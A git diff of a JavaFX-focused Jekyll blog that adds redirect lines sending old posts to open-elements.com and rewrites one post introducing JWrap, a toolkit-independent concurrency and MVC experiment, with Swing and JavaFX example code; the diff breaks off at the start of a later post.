a/_posts/2014-05-16-datafx-8-0b3-released.md b/_posts/2014-05-16-datafx-8-0b3-released.md index 69b9ced..ec235d8 100644 --- a/_posts/2014-05-16-datafx-8-0b3-released.md +++ b/_posts/2014-05-16-datafx-8-0b3-released.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8.0b3 has been released' +redirect_to: https://open-elements.com/posts/2014/05/16/datafx-8.0b3-has-been-released/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-05-19-datafx-8-0-tutorials.md b/_posts/2014-05-19-datafx-8-0-tutorials.md index d1dbb2d..19c7ffb 100644 --- a/_posts/2014-05-19-datafx-8-0-tutorials.md +++ b/_posts/2014-05-19-datafx-8-0-tutorials.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8.0 Tutorials' +redirect_to: https://open-elements.com/posts/2014/05/19/datafx-8.0-tutorials/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-05-20-datafx-tutorial-1.md b/_posts/2014-05-20-datafx-tutorial-1.md index c47fe83..0b4cff9 100644 --- a/_posts/2014-05-20-datafx-tutorial-1.md +++ b/_posts/2014-05-20-datafx-tutorial-1.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 Tutorial 1' +redirect_to: https://open-elements.com/posts/2014/05/20/datafx-8-tutorial-1/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-05-22-datafx-tutorial-2.md b/_posts/2014-05-22-datafx-tutorial-2.md index 58d3f72..535134c 100644 --- a/_posts/2014-05-22-datafx-tutorial-2.md +++ b/_posts/2014-05-22-datafx-tutorial-2.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 Tutorial 2' +redirect_to: https://open-elements.com/posts/2014/05/22/datafx-8-tutorial-2/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-05-31-datafx-tutorial-3.md b/_posts/2014-05-31-datafx-tutorial-3.md index bbca7d6..1756e9f 100644 --- a/_posts/2014-05-31-datafx-tutorial-3.md +++ b/_posts/2014-05-31-datafx-tutorial-3.md @@ -1,5 +1,6 @@ --- title: 'DataFX Tutorial 3' +redirect_to: https://open-elements.com/posts/2014/05/31/datafx-tutorial-3/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-06-08-datafx-tutorial-4.md b/_posts/2014-06-08-datafx-tutorial-4.md index 9740580..f5dab1e 100644 --- a/_posts/2014-06-08-datafx-tutorial-4.md +++ b/_posts/2014-06-08-datafx-tutorial-4.md @@ -1,5 +1,6 @@ --- title: 'DataFX Tutorial 4' +redirect_to: https://open-elements.com/posts/2014/06/08/datafx-tutorial-4/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-06-10-sneak-peek-aerofx.md b/_posts/2014-06-10-sneak-peek-aerofx.md index 636a738..ca5b7c7 100644 --- a/_posts/2014-06-10-sneak-peek-aerofx.md +++ b/_posts/2014-06-10-sneak-peek-aerofx.md @@ -1,5 +1,6 @@ --- title: 'Sneak Peek: AeroFX' +redirect_to: https://open-elements.com/posts/2014/06/10/sneak-peek-aerofx/ layout: post author: hendrik categories: [AeroFX, AquaFX, JavaFX] diff --git a/_posts/2014-06-17-aerofx-getting-closer.md b/_posts/2014-06-17-aerofx-getting-closer.md index 14a808c..57d9ed1 100644 --- a/_posts/2014-06-17-aerofx-getting-closer.md +++ b/_posts/2014-06-17-aerofx-getting-closer.md @@ -1,5 +1,6 @@ --- title: 'AeroFX: It''s getting closer' +redirect_to: https://open-elements.com/posts/2014/06/17/aerofx-its-getting-closer/ layout: post author: hendrik categories: [AeroFX, JavaFX] diff --git a/_posts/2014-06-27-datafx-tutorial-5.md b/_posts/2014-06-27-datafx-tutorial-5.md index c1e135a..72a482d 100644 --- a/_posts/2014-06-27-datafx-tutorial-5.md +++ b/_posts/2014-06-27-datafx-tutorial-5.md @@ -1,5 +1,6 @@ --- title: 'DataFX Tutorial 5' +redirect_to: https://open-elements.com/posts/2014/06/27/datafx-tutorial-5/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-07-08-win-copy-mastering-javafx-8-controls.md b/_posts/2014-07-08-win-copy-mastering-javafx-8-controls.md index 0107abc..ea8b3b1 100644 --- a/_posts/2014-07-08-win-copy-mastering-javafx-8-controls.md +++ b/_posts/2014-07-08-win-copy-mastering-javafx-8-controls.md @@ -1,5 +1,6 @@ --- title: 'Win a copy of "Mastering JavaFX 8 Controls"' +redirect_to: https://open-elements.com/posts/2014/07/08/win-a-copy-of-mastering-javafx-8-controls/ layout: post author: hendrik categories: [General] diff --git a/_posts/2014-07-16-guigarage-logo.md b/_posts/2014-07-16-guigarage-logo.md index 7fbae1a..311343f 100644 --- a/_posts/2014-07-16-guigarage-logo.md +++ b/_posts/2014-07-16-guigarage-logo.md @@ -1,5 +1,6 @@ --- title: 'Guigarage Logo' +redirect_to: https://open-elements.com/posts/2014/07/16/guigarage-logo/ layout: post author: hendrik categories: [General] diff --git a/_posts/2014-08-26-javaone-2014-sessions.md b/_posts/2014-08-26-javaone-2014-sessions.md index 2d48424..3a4d8e4 100644 --- a/_posts/2014-08-26-javaone-2014-sessions.md +++ b/_posts/2014-08-26-javaone-2014-sessions.md @@ -1,5 +1,6 @@ --- title: 'My JavaOne 2014 Sessions' +redirect_to: https://open-elements.com/posts/2014/08/26/my-javaone-2014-sessions/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-09-09-javaone-2014-preview.md b/_posts/2014-09-09-javaone-2014-preview.md index 22b662d..6982189 100644 --- a/_posts/2014-09-09-javaone-2014-preview.md +++ b/_posts/2014-09-09-javaone-2014-preview.md @@ -1,5 +1,6 @@ --- title: 'JavaOne 2014 Preview' +redirect_to: https://open-elements.com/posts/2014/09/09/javaone-2014-preview/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-09-11-javaone-preview-enterprise-javafx.md b/_posts/2014-09-11-javaone-preview-enterprise-javafx.md index de0d486..cf87ccc 100644 --- a/_posts/2014-09-11-javaone-preview-enterprise-javafx.md +++ b/_posts/2014-09-11-javaone-preview-enterprise-javafx.md @@ -1,5 +1,6 @@ --- title: 'JavaOne Preview: Enterprise JavaFX' +redirect_to: https://open-elements.com/posts/2014/09/11/javaone-preview-enterprise-javafx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-09-17-interview-fx-experience.md b/_posts/2014-09-17-interview-fx-experience.md index 545f46f..f43d4a6 100644 --- a/_posts/2014-09-17-interview-fx-experience.md +++ b/_posts/2014-09-17-interview-fx-experience.md @@ -1,5 +1,6 @@ --- title: 'Interview at FX Experience' +redirect_to: https://open-elements.com/posts/2014/09/17/interview-at-fx-experience/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-10-13-javaone-sessions-canoo.md b/_posts/2014-10-13-javaone-sessions-canoo.md index a8f6f11..b9ad9c3 100644 --- a/_posts/2014-10-13-javaone-sessions-canoo.md +++ b/_posts/2014-10-13-javaone-sessions-canoo.md @@ -1,5 +1,6 @@ --- title: 'JavaOne Sessions at Canoo' +redirect_to: https://open-elements.com/posts/2014/10/13/javaone-sessions-at-canoo/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-10-22-datafx-8-released.md b/_posts/2014-10-22-datafx-8-released.md index 532b2d9..961aaf9 100644 --- a/_posts/2014-10-22-datafx-8-released.md +++ b/_posts/2014-10-22-datafx-8-released.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 has been released & DataFX core overview' +redirect_to: https://open-elements.com/posts/2014/10/22/datafx-8-has-been-released-datafx-core-overview/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-10-26-extreme-gui-makeover-javaone.md b/_posts/2014-10-26-extreme-gui-makeover-javaone.md index 0d19dda..340c198 100644 --- a/_posts/2014-10-26-extreme-gui-makeover-javaone.md +++ b/_posts/2014-10-26-extreme-gui-makeover-javaone.md @@ -1,5 +1,6 @@ --- title: 'Extreme Gui Makeover @ JavaOne' +redirect_to: https://open-elements.com/posts/2014/10/26/extreme-gui-makeover-@-javaone/ layout: post author: hendrik categories: [JavaFX] @@ -12,4 +13,4 @@ header: --- My "Extreme Gui Makeover" talk from JavaOne is one the first talks that was published at [Parleys](http://www.parleys.com) on the last days. If you didn't attend the talk at JavaOne here is [your change to watch it for free](https://www.parleys.com/play/543fab59e4b06e1184ae4242/). -![Bildschirmfoto](/assets/posts/guigarage-legacy/Bildschirmfoto-2014-10-26-um-09.03.03.png) \ No newline at end of file +![Bildschirmfoto](/assets/posts/guigarage-legacy/Bildschirmfoto-2014-10-26-um-09.03.03.png) diff --git a/_posts/2014-11-01-new-desktop-application-framework-datafx.md b/_posts/2014-11-01-new-desktop-application-framework-datafx.md index 5768302..51de98f 100644 --- a/_posts/2014-11-01-new-desktop-application-framework-datafx.md +++ b/_posts/2014-11-01-new-desktop-application-framework-datafx.md @@ -1,183 +1,184 @@ ---- -title: 'New Desktop Application Framework & DataFX' -layout: post -author: hendrik -categories: [DataFX, Desktop Application Framework (JSR 377), JavaFX] -excerpt: 'If DataFX should become an implementation of the JSR specification it must implement general interfaces and support a toolkit independent architecture.' -featuredImage: java-arch-2 -permalink: '2014/11/new-desktop-application-framework-datafx/' -header: - text: Desktop Application Framework - image: sample ---- -Maybe you have mentioned that [Andres Almiray](https://twitter.com/aalmiray) is planing [a new desktop application framework JSR](http://www.jroller.com/aalmiray/entry/new_desktop_application_framework_jsr). I had a chat with him some days ago at the canoo hq and we discussed some points of this project. In addition Andres gave me an introduction to [Griffon](http://griffon.codehaus.org) and I showed him [DataFX]({{ site.baseurl }}{% link pages/projects/datafx.md %}). - -One of the core features of the framework should be UI toolkit independency. By doing so the framework will only contain general definitions and JavaFX or Swing specific implementations will be loaded by SPI, for example. - -Griffon already contains this abstraction but DataFX is hardly coded against JavaFX. I think this is absolutely ok and at the moment there eis no plan to support other UI toolkits that JavaFX with DataFX. As said the application framework will define general classes and interfaces and maybe DataFX will be one of the JavaFX implementation. We will see what happens in the future. - -## Generalizing the DataFX concepts - -If DataFX should become an implementation of the JSR specification it must implement general interfaces and support a toolkit independent architecture. Therefore I did some tests and create a small platform independent framework based on DataFX architecture and APIs. I chose the concurrent API and the controller API of DataFX and created more general versions. As a benefit I created some cool code and features that will be integrated in DataFX 8.1. Let's have a look at the framework that is called "JWrap". You can find [the sources at GitHub](https://github.com/guigarage/jwrap). Because this was only a test there isn't any javadoc at the moment but the project contains a [Swing](https://github.com/guigarage/jwrap/tree/master/src/main/java/com/guigarage/uif/examples/swing) and a [JavaFX](https://github.com/guigarage/jwrap/tree/master/src/main/java/com/guigarage/uif/examples/javafx) example. JWrap has zero dependencies and defines a MVC and a concurrency API. Both API are platform independent and you don't need dependencies to Swing or JavaFX to use them. - -## JWrap concurrency utils - -JWrap contains a [UIToolkit class](https://github.com/guigarage/jwrap/blob/master/src/main/java/com/guigarage/uif/concurrent/UIToolkit.java) that can be used to work with the event and rendering thread of the underlying UI toolkit. Here are the methods that are defined in the class: - -{% highlight java %} -void runAndWait(Runnable runnable) - -void runLater(Runnable runnable) - -boolean isToolkitThread() - - T runCallableAndWait(Callable callable) -{% endhighlight %} - -By using these methods you can interact with the event and rendering thread of the used UI toolkit. To do so you must configure JWrap. This can be done by only one line of code. Here is an example how you configure JWrap to use the Swing EDT: - -{% highlight java %} -UIToolkit.setPlatform(SwingPlatform.getInstance()); -{% endhighlight %} - -There are several other concurrency classes in JWrap that all depend on the UIToolkit class. By doing so you can now use all the concurrency helpers in JWrap and automatically the EDT will be used as application thread. I ported the [ProcessChain]({{ site.baseurl }}{% post_url 2014-10-22-datafx-8-released %}) of DataFX to JWarp and now you can code the following in your Swing application: - -{% highlight java %} -ProcessChain.create(). - addSupplierInPlatformThread(() -> myTextField.getText()). - addFunctionInExecutor((t) -> WeatherService.getWeather(t)). - addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { - myLabel.setText("Error"); - e.printStackTrace(); - }).run(); -{% endhighlight %} - -I think this code is much better than using the SwingWorker. You can easily use the `ProcessChain` in any Swing application that supports Java 8. - -## JWrap MVC API - -DataFX contains the [controller and flow API]({{ site.baseurl }}{% post_url 2014-05-19-datafx-8-0-tutorials %}) that can be used to define MVC based views in JavaFX. I ported some parts of this API to JWarp and created a UI toolkit independent way to define MVC based controllers. JWrap contains some annotations that can be used to create a link between the view and the controller of a dialog. - -Let's start with the swim example. As a first step we define the view and define names for all the UI components: - -{% highlight java %} -public class SwingDemoView extends JPanel { - - public SwingDemoView() { - setLayout(new BorderLayout()); - - JButton myButton = new JButton("Get weather by city"); - myButton.setName("myButton"); - - JTextField myTextField = new JTextField(); - myTextField.setName("myTextField"); - - JLabel myLabel = new JLabel("Result..."); - myLabel.setName("myLabel"); - - add(myTextField, BorderLayout.NORTH); - add(myButton, BorderLayout.CENTER); - add(myLabel, BorderLayout.SOUTH); - } -} -{% endhighlight %} - -The second class of the dialog will be the controller class. In this class JWrap annotations can be sued to inject view components in the controller and define interaction: - -{% highlight java %} -public class SwingDemoController { - - @ViewNode - @ActionTrigger("copy-action") - private JButton myButton; - - @ViewNode - private JTextField myTextField; - - @ViewNode - private JLabel myLabel; - - @ActionMethod("copy-action") - private void copy() { - ProcessChain.create(). - addSupplierInPlatformThread(() -> myTextField.getText()). - addFunctionInExecutor((t) -> WeatherService.getWeather(t)). - addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { - myLabel.setText("Error"); - e.printStackTrace(); - }).run(); - } - - @PostConstruct - private void init() { - System.out.println("TADA"); - } -} -{% endhighlight %} - -The `@ViewNode` annotation can be compared to the `@FXML` annotation that is used in JavaFX and DataFX to inject view nodes that are defined in FXML in a controller. The `@ViewNode` annotation has some benefits because it can be used for FXML based view and for coded view (this is one of the features that I will integrate in DataFX 8.1). - -The JavaFX version looks mainly the same. Here is the code for the view class: - -{% highlight java %} -public class JavaFXDemoView extends VBox { - - public JavaFXDemoView() { - setSpacing(12); - setPadding(new Insets(12)); - - Button myButton = new Button("Get weather by city"); - myButton.setId("myButton"); - - TextField myTextField = new TextField(); - myTextField.setId("myTextField"); - - Label myLabel = new Label("Result..."); - myLabel.setId("myLabel"); - - getChildren().addAll(myTextField, myButton, myLabel); - - } -} -{% endhighlight %} - -And here we have the controller class: - -{% highlight java %} -public class JavaFXDemoController { - - @ViewNode - @ActionTrigger("copy-action") - private Button myButton; - - @ViewNode - private TextField myTextField; - - @ViewNode - private Label myLabel; - - @ActionMethod("copy-action") - private void copy() { - ProcessChain.create(). - addSupplierInPlatformThread(() -> myTextField.getText()). - addFunctionInExecutor((t) -> WeatherService.getWeather(t)). - addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { - myLabel.setText("Error"); - e.printStackTrace(); - }).run(); - } - - @PostConstruct - private void init() { - System.out.println("TADA"); - } -} -{% endhighlight %} - -As you can see the Swing controller class and the JavaFX controller looks mainly the same. Annotations like `@ViewNode` can be used in Swing and JavaFX. - -## The future of JWrap - -I created this project to test of a UI independent API can look like. I don't plan to continue working on the library. Maybe I will use it when checking some other ideas for the application framework JSR. - -I think that the library can be a benefit for Swing developers. By using JWrap they will get some lambda based concurrency APIs and a MVC framework that can be used to structure the code or prepare a migration to JavaFX. +--- +title: 'New Desktop Application Framework & DataFX' +redirect_to: https://open-elements.com/posts/2014/11/01/new-desktop-application-framework-datafx/ +layout: post +author: hendrik +categories: [DataFX, Desktop Application Framework (JSR 377), JavaFX] +excerpt: 'If DataFX should become an implementation of the JSR specification it must implement general interfaces and support a toolkit independent architecture.' +featuredImage: java-arch-2 +permalink: '2014/11/new-desktop-application-framework-datafx/' +header: + text: Desktop Application Framework + image: sample +--- +Maybe you have mentioned that [Andres Almiray](https://twitter.com/aalmiray) is planing [a new desktop application framework JSR](http://www.jroller.com/aalmiray/entry/new_desktop_application_framework_jsr). I had a chat with him some days ago at the canoo hq and we discussed some points of this project. In addition Andres gave me an introduction to [Griffon](http://griffon.codehaus.org) and I showed him [DataFX]({{ site.baseurl }}{% link pages/projects/datafx.md %}). + +One of the core features of the framework should be UI toolkit independency. By doing so the framework will only contain general definitions and JavaFX or Swing specific implementations will be loaded by SPI, for example. + +Griffon already contains this abstraction but DataFX is hardly coded against JavaFX. I think this is absolutely ok and at the moment there eis no plan to support other UI toolkits that JavaFX with DataFX. As said the application framework will define general classes and interfaces and maybe DataFX will be one of the JavaFX implementation. We will see what happens in the future. + +## Generalizing the DataFX concepts + +If DataFX should become an implementation of the JSR specification it must implement general interfaces and support a toolkit independent architecture. Therefore I did some tests and create a small platform independent framework based on DataFX architecture and APIs. I chose the concurrent API and the controller API of DataFX and created more general versions. As a benefit I created some cool code and features that will be integrated in DataFX 8.1. Let's have a look at the framework that is called "JWrap". You can find [the sources at GitHub](https://github.com/guigarage/jwrap). Because this was only a test there isn't any javadoc at the moment but the project contains a [Swing](https://github.com/guigarage/jwrap/tree/master/src/main/java/com/guigarage/uif/examples/swing) and a [JavaFX](https://github.com/guigarage/jwrap/tree/master/src/main/java/com/guigarage/uif/examples/javafx) example. JWrap has zero dependencies and defines a MVC and a concurrency API. Both API are platform independent and you don't need dependencies to Swing or JavaFX to use them. + +## JWrap concurrency utils + +JWrap contains a [UIToolkit class](https://github.com/guigarage/jwrap/blob/master/src/main/java/com/guigarage/uif/concurrent/UIToolkit.java) that can be used to work with the event and rendering thread of the underlying UI toolkit. Here are the methods that are defined in the class: + +{% highlight java %} +void runAndWait(Runnable runnable) + +void runLater(Runnable runnable) + +boolean isToolkitThread() + + T runCallableAndWait(Callable callable) +{% endhighlight %} + +By using these methods you can interact with the event and rendering thread of the used UI toolkit. To do so you must configure JWrap. This can be done by only one line of code. Here is an example how you configure JWrap to use the Swing EDT: + +{% highlight java %} +UIToolkit.setPlatform(SwingPlatform.getInstance()); +{% endhighlight %} + +There are several other concurrency classes in JWrap that all depend on the UIToolkit class. By doing so you can now use all the concurrency helpers in JWrap and automatically the EDT will be used as application thread. I ported the [ProcessChain]({{ site.baseurl }}{% post_url 2014-10-22-datafx-8-released %}) of DataFX to JWarp and now you can code the following in your Swing application: + +{% highlight java %} +ProcessChain.create(). + addSupplierInPlatformThread(() -> myTextField.getText()). + addFunctionInExecutor((t) -> WeatherService.getWeather(t)). + addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { + myLabel.setText("Error"); + e.printStackTrace(); + }).run(); +{% endhighlight %} + +I think this code is much better than using the SwingWorker. You can easily use the `ProcessChain` in any Swing application that supports Java 8. + +## JWrap MVC API + +DataFX contains the [controller and flow API]({{ site.baseurl }}{% post_url 2014-05-19-datafx-8-0-tutorials %}) that can be used to define MVC based views in JavaFX. I ported some parts of this API to JWarp and created a UI toolkit independent way to define MVC based controllers. JWrap contains some annotations that can be used to create a link between the view and the controller of a dialog. + +Let's start with the swim example. As a first step we define the view and define names for all the UI components: + +{% highlight java %} +public class SwingDemoView extends JPanel { + + public SwingDemoView() { + setLayout(new BorderLayout()); + + JButton myButton = new JButton("Get weather by city"); + myButton.setName("myButton"); + + JTextField myTextField = new JTextField(); + myTextField.setName("myTextField"); + + JLabel myLabel = new JLabel("Result..."); + myLabel.setName("myLabel"); + + add(myTextField, BorderLayout.NORTH); + add(myButton, BorderLayout.CENTER); + add(myLabel, BorderLayout.SOUTH); + } +} +{% endhighlight %} + +The second class of the dialog will be the controller class. In this class JWrap annotations can be sued to inject view components in the controller and define interaction: + +{% highlight java %} +public class SwingDemoController { + + @ViewNode + @ActionTrigger("copy-action") + private JButton myButton; + + @ViewNode + private JTextField myTextField; + + @ViewNode + private JLabel myLabel; + + @ActionMethod("copy-action") + private void copy() { + ProcessChain.create(). + addSupplierInPlatformThread(() -> myTextField.getText()). + addFunctionInExecutor((t) -> WeatherService.getWeather(t)). + addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { + myLabel.setText("Error"); + e.printStackTrace(); + }).run(); + } + + @PostConstruct + private void init() { + System.out.println("TADA"); + } +} +{% endhighlight %} + +The `@ViewNode` annotation can be compared to the `@FXML` annotation that is used in JavaFX and DataFX to inject view nodes that are defined in FXML in a controller. The `@ViewNode` annotation has some benefits because it can be used for FXML based view and for coded view (this is one of the features that I will integrate in DataFX 8.1). + +The JavaFX version looks mainly the same. Here is the code for the view class: + +{% highlight java %} +public class JavaFXDemoView extends VBox { + + public JavaFXDemoView() { + setSpacing(12); + setPadding(new Insets(12)); + + Button myButton = new Button("Get weather by city"); + myButton.setId("myButton"); + + TextField myTextField = new TextField(); + myTextField.setId("myTextField"); + + Label myLabel = new Label("Result..."); + myLabel.setId("myLabel"); + + getChildren().addAll(myTextField, myButton, myLabel); + + } +} +{% endhighlight %} + +And here we have the controller class: + +{% highlight java %} +public class JavaFXDemoController { + + @ViewNode + @ActionTrigger("copy-action") + private Button myButton; + + @ViewNode + private TextField myTextField; + + @ViewNode + private Label myLabel; + + @ActionMethod("copy-action") + private void copy() { + ProcessChain.create(). + addSupplierInPlatformThread(() -> myTextField.getText()). + addFunctionInExecutor((t) -> WeatherService.getWeather(t)). + addConsumerInPlatformThread((t) -> myLabel.setText(t)).onException((e) -> { + myLabel.setText("Error"); + e.printStackTrace(); + }).run(); + } + + @PostConstruct + private void init() { + System.out.println("TADA"); + } +} +{% endhighlight %} + +As you can see the Swing controller class and the JavaFX controller looks mainly the same. Annotations like `@ViewNode` can be used in Swing and JavaFX. + +## The future of JWrap + +I created this project to test of a UI independent API can look like. I don't plan to continue working on the library. Maybe I will use it when checking some other ideas for the application framework JSR. + +I think that the library can be a benefit for Swing developers. By using JWrap they will get some lambda based concurrency APIs and a MVC framework that can be used to structure the code or prepare a migration to JavaFX. diff --git a/_posts/2014-11-04-responsive-design-javafx.md b/_posts/2014-11-04-responsive-design-javafx.md index 5b8e47f..1b2cf24 100644 --- a/_posts/2014-11-04-responsive-design-javafx.md +++ b/_posts/2014-11-04-responsive-design-javafx.md @@ -1,5 +1,6 @@ --- title: 'Responsive Design for JavaFX' +redirect_to: https://open-elements.com/posts/2014/11/04/responsive-design-for-javafx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-11-12-first-steps-webcomponents.md b/_posts/2014-11-12-first-steps-webcomponents.md index 816d82b..6f44c0a 100644 --- a/_posts/2014-11-12-first-steps-webcomponents.md +++ b/_posts/2014-11-12-first-steps-webcomponents.md @@ -1,5 +1,6 @@ --- title: 'First steps with WebComponents' +redirect_to: https://open-elements.com/posts/2014/11/12/first-steps-with-webcomponents/ layout: post author: hendrik categories: [Polymer, Web Frontends, WebComponents] diff --git a/_posts/2014-11-13-hand-drawing-effect-javafx.md b/_posts/2014-11-13-hand-drawing-effect-javafx.md index bc9a840..dad2322 100644 --- a/_posts/2014-11-13-hand-drawing-effect-javafx.md +++ b/_posts/2014-11-13-hand-drawing-effect-javafx.md @@ -1,5 +1,6 @@ --- title: 'Hand drawing effect with JavaFX' +redirect_to: https://open-elements.com/posts/2014/11/13/hand-drawing-effect-with-javafx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-01-19-concurrency-ui-toolkits-part-1.md b/_posts/2015-01-19-concurrency-ui-toolkits-part-1.md index 8f644d4..3ba3959 100644 --- a/_posts/2015-01-19-concurrency-ui-toolkits-part-1.md +++ b/_posts/2015-01-19-concurrency-ui-toolkits-part-1.md @@ -1,5 +1,6 @@ --- title: 'Concurrency in UI Toolkits (Part 1)' +redirect_to: https://open-elements.com/posts/2015/01/19/concurrency-in-ui-toolkits-part-1/ layout: post author: hendrik categories: [Desktop Application Framework (JSR 377), JavaFX] diff --git a/_posts/2015-01-21-support-emojis.md b/_posts/2015-01-21-support-emojis.md index 8c3bcbf..f9b607f 100644 --- a/_posts/2015-01-21-support-emojis.md +++ b/_posts/2015-01-21-support-emojis.md @@ -1,5 +1,6 @@ --- title: 'How to support Emojis (Part1)' +redirect_to: https://open-elements.com/posts/2015/01/21/how-to-support-emojis-part1/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-01-22-datafx-tutorial-6.md b/_posts/2015-01-22-datafx-tutorial-6.md index 347080d..9a2eedc 100644 --- a/_posts/2015-01-22-datafx-tutorial-6.md +++ b/_posts/2015-01-22-datafx-tutorial-6.md @@ -1,5 +1,6 @@ --- title: 'DataFX Tutorial 6' +redirect_to: https://open-elements.com/posts/2015/01/22/datafx-tutorial-6/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2015-01-28-set-datafx-application.md b/_posts/2015-01-28-set-datafx-application.md index 7ec89f0..4c13559 100644 --- a/_posts/2015-01-28-set-datafx-application.md +++ b/_posts/2015-01-28-set-datafx-application.md @@ -1,5 +1,6 @@ --- title: 'How to set up a DataFX application' +redirect_to: https://open-elements.com/posts/2015/01/28/how-to-set-up-a-datafx-application/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2015-01-29-introduction-open-dolphin.md b/_posts/2015-01-29-introduction-open-dolphin.md index 4c758e8..0c8ebb4 100644 --- a/_posts/2015-01-29-introduction-open-dolphin.md +++ b/_posts/2015-01-29-introduction-open-dolphin.md @@ -1,5 +1,6 @@ --- title: 'An introduction to Open Dolphin' +redirect_to: https://open-elements.com/posts/2015/01/29/an-introduction-to-open-dolphin/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-02-01-concurrency-ui-toolkits-part-2.md b/_posts/2015-02-01-concurrency-ui-toolkits-part-2.md index 672d4c7..d6f7d63 100644 --- a/_posts/2015-02-01-concurrency-ui-toolkits-part-2.md +++ b/_posts/2015-02-01-concurrency-ui-toolkits-part-2.md @@ -1,5 +1,6 @@ --- title: 'Concurrency in UI Toolkits (Part 2)' +redirect_to: https://open-elements.com/posts/2015/02/01/concurrency-in-ui-toolkits-part-2/ layout: post author: hendrik categories: [Desktop Application Framework (JSR 377), JavaFX] diff --git a/_posts/2015-02-06-test-driven-development-youtube.md b/_posts/2015-02-06-test-driven-development-youtube.md index dac293d..7913dfb 100644 --- a/_posts/2015-02-06-test-driven-development-youtube.md +++ b/_posts/2015-02-06-test-driven-development-youtube.md @@ -1,5 +1,6 @@ --- title: 'How to test your JavaFX application' +redirect_to: https://open-elements.com/posts/2015/02/06/how-to-test-your-javafx-application/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2015-02-11-jsr377-got-green-light-continue.md b/_posts/2015-02-11-jsr377-got-green-light-continue.md index 76bf4b5..cc33377 100644 --- a/_posts/2015-02-11-jsr377-got-green-light-continue.md +++ b/_posts/2015-02-11-jsr377-got-green-light-continue.md @@ -1,5 +1,6 @@ --- title: 'JSR377 got green light to continue!' +redirect_to: https://open-elements.com/posts/2015/02/11/jsr377-got-green-light-to-continue/ layout: post author: hendrik categories: [Desktop Application Framework (JSR 377), JavaFX] diff --git a/_posts/2015-02-12-short-introduction-bower.md b/_posts/2015-02-12-short-introduction-bower.md index 94a042f..81a9a70 100644 --- a/_posts/2015-02-12-short-introduction-bower.md +++ b/_posts/2015-02-12-short-introduction-bower.md @@ -1,5 +1,6 @@ --- title: 'A short introduction to Bower' +redirect_to: https://open-elements.com/posts/2015/02/12/a-short-introduction-to-bower/ layout: post author: hendrik categories: [Web Frontends] diff --git a/_posts/2015-02-13-quick-overview-datafx-mvc-flow-api.md b/_posts/2015-02-13-quick-overview-datafx-mvc-flow-api.md index 4852193..01884b0 100644 --- a/_posts/2015-02-13-quick-overview-datafx-mvc-flow-api.md +++ b/_posts/2015-02-13-quick-overview-datafx-mvc-flow-api.md @@ -1,5 +1,6 @@ --- title: 'A quick overview to the DataFX MVC and Flow API' +redirect_to: https://open-elements.com/posts/2015/02/13/a-quick-overview-to-the-datafx-mvc-and-flow-api/ layout: post author: hendrik categories: [DataFX, Desktop Application Framework (JSR 377), JavaFX] diff --git a/_posts/2015-02-15-use-webcomponents-today.md b/_posts/2015-02-15-use-webcomponents-today.md index 9ec8ea7..84843cf 100644 --- a/_posts/2015-02-15-use-webcomponents-today.md +++ b/_posts/2015-02-15-use-webcomponents-today.md @@ -1,5 +1,6 @@ --- title: 'An overview of the Web Component specifications' +redirect_to: https://open-elements.com/posts/2015/02/15/an-overview-of-the-web-component-specifications/ layout: post author: hendrik categories: [General, WebComponents] diff --git a/_posts/2015-07-10-material-design-in-javafx.md b/_posts/2015-07-10-material-design-in-javafx.md index 5ba1949..d25fd3e 100644 --- a/_posts/2015-07-10-material-design-in-javafx.md +++ b/_posts/2015-07-10-material-design-in-javafx.md @@ -1,5 +1,6 @@ --- title: 'Material Design in JavaFX' +redirect_to: https://open-elements.com/posts/2015/07/10/material-design-in-javafx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-09-06-cool-javafx-uis-in-less-time-use-projection.md b/_posts/2015-09-06-cool-javafx-uis-in-less-time-use-projection.md index 282042a..5e3467d 100644 --- a/_posts/2015-09-06-cool-javafx-uis-in-less-time-use-projection.md +++ b/_posts/2015-09-06-cool-javafx-uis-in-less-time-use-projection.md @@ -1,5 +1,6 @@ --- title: 'Cool JavaFX UIs in less time? Use projection!' +redirect_to: https://open-elements.com/posts/2015/09/06/cool-javafx-uis-in-less-time-use-projection/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-09-09-how-to-create-a-responsive-layout-in-javafx.md b/_posts/2015-09-09-how-to-create-a-responsive-layout-in-javafx.md index d186c11..c1ea0b9 100644 --- a/_posts/2015-09-09-how-to-create-a-responsive-layout-in-javafx.md +++ b/_posts/2015-09-09-how-to-create-a-responsive-layout-in-javafx.md @@ -1,200 +1,201 @@ ---- -title: 'How to create a responsive layout in JavaFX' -layout: post -author: hendrik -categories: [JavaFX, Layout & UI] -excerpt: 'Some days ago I was asked at twitter about a 